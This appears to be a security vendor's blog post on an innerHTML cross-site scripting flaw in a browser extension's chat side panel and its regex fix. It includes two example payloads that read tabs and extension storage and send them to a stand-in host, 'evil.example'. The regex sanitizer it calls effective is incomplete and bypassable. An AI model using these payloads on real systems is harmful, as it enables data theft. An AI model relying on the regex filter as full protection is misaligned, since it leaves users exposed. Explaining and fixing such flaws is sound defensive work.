Back to Blog
critical SEVERITY6 min read

How innerHTML XSS happens in JavaScript browser extensions and how to fix it

A cross-site scripting (XSS) vulnerability in `sidepanel/panel.js` allowed injected `<script>` tags and inline event handlers to execute inside a privileged browser extension context. The `renderChat` function passed markdown-rendered assistant content directly to `row.innerHTML` without stripping dangerous HTML patterns. The fix applies targeted regex sanitization to remove script blocks and `on*` event handler attributes before the content reaches the DOM.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a Cross-Site Scripting (XSS) vulnerability (CWE-79) in a browser extension's `sidepanel/panel.js` file, where the `renderChat` function assigned markdown-rendered HTML directly to `row.innerHTML` without sanitizing `<script>` tags or inline event handlers. Because the code runs in a privileged extension context, a malicious website or tampered data source could inject JavaScript that executes with extension-level permissions. The fix adds two chained `.replace()` calls to strip `<script>...</script>` blocks and `on*="..."` attribute patterns from the rendered output before it is written to the DOM.

Vulnerability at a Glance

cweCWE-79
fixChain `.replace()` calls on the `renderMarkdown()` output to remove script blocks and `on*` attributes before DOM insertion
riskAttacker-controlled script execution inside a privileged browser extension context
languageJavaScript
root causeMarkdown-rendered HTML assigned to `row.innerHTML` without stripping `<script>` tags or inline event handlers
vulnerabilityCross-Site Scripting (XSS) via unsafe innerHTML assignment

How innerHTML XSS Happens in JavaScript Browser Extensions and How to Fix It

Introduction

The sidepanel/panel.js file is the visual heart of this browser extension — it renders chat history, formats assistant responses, and displays them to the user. But inside the renderChat function, a single line quietly created a high-severity security hole: markdown-rendered content from an AI assistant was being written directly to row.innerHTML with no protection against embedded <script> tags or inline event handlers.

// Vulnerable code — line 1876 before the fix
row.innerHTML = renderMarkdown(m.content);

This matters because browser extensions operate in a privileged context. Unlike a normal web page sandboxed to its own origin, an extension's side panel can access extension APIs, interact with browser tabs, and read data that ordinary web content cannot touch. Any JavaScript that executes here does so with those elevated capabilities — making XSS in an extension far more dangerous than XSS on a typical website.


The Vulnerability Explained

What renderMarkdown produces — and why that's a problem

renderMarkdown() is a markdown-to-HTML converter. Its job is to take plain text like **bold** or # Heading and return formatted HTML. That's fine for legitimate markdown. But markdown renderers often pass through raw HTML — it's a feature, not a bug, in most implementations.

If the content of m.content (the assistant's message) contains something like:

<script>chrome.tabs.query({}, function(tabs){ fetch('https://evil.example/steal?t='+JSON.stringify(tabs)); });</script>

…then renderMarkdown() would return that string largely intact, and row.innerHTML = renderMarkdown(m.content) would inject it directly into the DOM, causing the browser to execute it.

The same risk applies to inline event handlers:

<img src="x" onerror="chrome.storage.local.get(null, d => fetch('https://evil.example/?d='+JSON.stringify(d)))">

Because onerror is a valid HTML attribute, the markdown renderer would not strip it, and the browser would fire it the moment the broken image tag is parsed.

The attack surface

The extension stores and replays chat history. A malicious website could craft a response that includes injected HTML payloads. If that response is saved and later displayed in the side panel, the payload executes in the extension context — potentially:

  • Exfiltrating browser history or open tabs via chrome.tabs
  • Reading extension storage via chrome.storage
  • Making credentialed requests on behalf of the user
  • Silently modifying extension settings

The existing escapeHtml() helper in the file is correctly applied to user-typed messages (the else branch uses row.textContent), but the assistant role branch bypassed this protection entirely in favor of rich formatting.


The Fix

What changed in renderChat

The fix is applied at line 1876 of sidepanel/panel.js. Here is the before/after comparison:

Before:

row.innerHTML = renderMarkdown(m.content);

After:

row.innerHTML = renderMarkdown(m.content)
  .replace(/<script[\s\S]*?<\/script>/gi, '')
  .replace(/\s+on\w+\s*=\s*(?:"[^"]*"|'[^']*')/gi, '');

Breaking down the two .replace() calls

First replace — strips <script> blocks:

.replace(/<script[\s\S]*?<\/script>/gi, '')
  • <script[\s\S]*?<\/script> matches any <script>...</script> block, including multiline ones ([\s\S] matches newlines too)
  • The g flag removes all occurrences, not just the first
  • The i flag makes it case-insensitive (<SCRIPT>, <Script>, etc.)

Second replace — strips inline event handlers:

.replace(/\s+on\w+\s*=\s*(?:"[^"]*"|'[^']*')/gi, '')
  • \s+on\w+ matches any attribute starting with on (e.g., onerror, onclick, onmouseover)
  • \s*=\s*(?:"[^"]*"|'[^']*') matches both double- and single-quoted attribute values
  • This removes patterns like onerror="..." or onclick='...' from any tag in the rendered output

Together, these two patterns eliminate the two most common vectors for script injection through HTML: explicit <script> tags and event-handler attributes.

Why this approach is scoped correctly

The fix only touches the assistant message rendering path. The user message path already uses row.textContent, which is inherently safe. The change tightens one specific assignment without altering the markdown rendering logic or breaking legitimate formatting like bold, italics, headers, or code blocks.


Key Takeaways

  • The renderChat function in panel.js was the specific injection point — the assistant role branch used innerHTML while the user role branch safely used textContent, an inconsistency that created a blind spot.
  • Markdown renderers can pass through raw HTML, meaning renderMarkdown(m.content) is not a safe intermediary — its output must be treated as untrusted HTML.
  • Browser extension XSS is higher severity than web XSS because the injected code runs with extension-level API access, not just page-level access.
  • Regex sanitization is a valid short-term fix, but for long-term maintainability, replacing the two .replace() calls with DOMPurify provides broader coverage and easier auditability.
  • The existing escapeHtml() helper in the file was never applied to the assistant code path — always verify that sanitization helpers are applied consistently across all rendering branches, not just some of them.

How Orbis AppSec Detected This

  • Source: The m.content field of assistant messages in the chat history — content that originates from external AI responses or saved page data and is not controlled by the application.
  • Sink: row.innerHTML = renderMarkdown(m.content) at line 1876 of sidepanel/panel.js, inside the renderChat function's assistant role branch.
  • Missing control: No sanitization was applied to the output of renderMarkdown() before DOM insertion. The escapeHtml() helper defined elsewhere in the file was not used on this code path.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: Two chained .replace() calls were added to strip <script>...</script> blocks and on*="..." event handler attributes from the rendered HTML before it is assigned to row.innerHTML.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

A single innerHTML assignment in renderChat — one that looked reasonable on the surface because it was rendering formatted markdown — opened a path for script injection in a privileged browser extension context. The root cause was an inconsistency: user messages were protected by textContent, but assistant messages were not, leaving the rendering pipeline exposed to anything a markdown renderer would pass through.

The fix is targeted and effective: two regex replacements remove the two most exploitable HTML injection vectors (<script> blocks and on* event handlers) directly on the output of renderMarkdown(). For teams maintaining similar extension code, the lesson is clear — every innerHTML assignment deserves scrutiny, and markdown renderers are not sanitizers.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #17

Related Articles

critical

How stored XSS happens in TinyMCE plugins and how to fix it

The snippets plugin's `Main.ts` inserted raw, unsanitized snippet content directly into the TinyMCE editor via `editor.insertContent(snippet.content)`, allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

high

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

critical

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

medium

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.